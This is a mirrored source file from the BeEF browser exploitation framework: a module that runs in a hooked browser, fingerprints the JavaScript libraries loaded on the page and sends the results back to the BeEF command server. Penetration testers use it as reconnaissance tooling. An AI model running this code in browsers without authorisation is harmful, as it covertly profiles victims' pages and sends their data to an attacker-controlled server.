Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/hooked_origin/ajax_fingerprint/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
//Regular expression to match script names in source
10
var regex = new RegExp('/\\w*\.(min\.)?js');
11
var results = [];
12
var urls = "";
13
14
function unique(array) {
15
return $.grep(array, function(el, index) {
16
return index === $.inArray(el, array);
17
});
18
}
19
20
// Fingerprints of javascript /ajax libraries . Library Name: Array of common file names
21
22
var fingerprints = {
23
"Prototype":new Array("prototype"),
24
"script.aculous":new Array("builder","controls","dragdrop","effects","scriptaculous","slider","unittest"),
25
"Dojo":new Array("dojo.uncompressed","uncompressed","dojo"),
26
"DWR":new Array("auth","engine","util"),
27
"Moo.fx/":new Array("Moo","Function","Array","String","Element","Fx","Dom","Ajax","Drag","Windows","Cookie","Json","Sortable","Fxpack","Fxutils","Fxtransition","Tips","Accordion"),
28
"Rico": new Array("rico","ricoAjax","ricoCommon","ricoEffects","ricoBehaviours","ricoDragDrop","ricoComponents"),
29
"Mootools":new Array("mootools","mootools-core-1.4-full","mootools-more-1.4-full"),
30
"Mochikit":new Array("Mochikit"),
31
"Yahoo UI!": new Array("animation","autocomplete","calendar","connection","container","dom","enevet","logger","menu","slider","tabview","treeview","utilities","yahoo","yahoo-dom-event"),
32
"xjax":new Array("xajax","xajax_uncompressed"),
33
"GWT": new Array("gwt","search-results"),
34
"Atlas": new Array("AtlasRuntime","AtlasBindings","AtlasCompat","AtlasCompat2"),
35
"jquery":new Array("jquery","jquery-latest","jquery-latest","jquery-1.5"),
36
"ExtJS":new Array("ext-all"),
37
"Prettify":new Array("prettify"),
38
"Spry": new Array("SpryTabbedPanels","SpryDOMUtils","SpryData","SpryXML","SpryUtils","SpryURLUtils","SpryDataExtensions","SpryDataShell","SpryEffects","SpryPagedView","SpryXML"),
39
"Google JS Libs":new Array("xpath","urchin","ga"),
40
"Libxmlrequest":new Array("libxmlrequest"),
41
"jx":new Array ("jx","jxs"),
42
"bajax":new Array("bajax"),
43
"AJS": new Array ("AJS","AJS_fx"),
44
"Greybox":new Array("gb_scripts.js"),
45
"Qooxdoo":new Array("qx.website-devel","qooxdoo-1.6","qooxdoo-1.5.1","qxserver","q","q.domain","q.sticky","q.placeholder","shCore","shBrushScript"),
46
47
};
48
49
function fp() {
50
try{
51
var sc = document.scripts;
52
var urls ="";
53
var source = ""
54
if (sc != null){
55
for (sc in document.scripts){
56
source =document.scripts[sc]['src'] || "";
57
if(source !=""){
58
//get the script file name and remove unnecessary endings and such
59
var comp = source.match(regex).toString().replace(new RegExp("/|.min|.pack|.uncompressed|.js\\W","g"),"");
60
for (key in fingerprints){
61
for (name in fingerprints[key]){
62
// match name in the fingerprint object
63
if(comp==fingerprints[key][name]){
64
results.push("Lib:"+key+" src:"+source);
65
}
66
}
67
}
68
}
69
}
70
}
71
if(results.length >0){
72
urls=unique(results).join('||');
73
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls);
74
}
75
else{
76
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls);
77
}
78
}
79
catch(e){
80
results = "Fingerprint failed: "+e.message;
81
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+results.toString());
82
}
83
}
84
85
fp();
86
87
});
88
89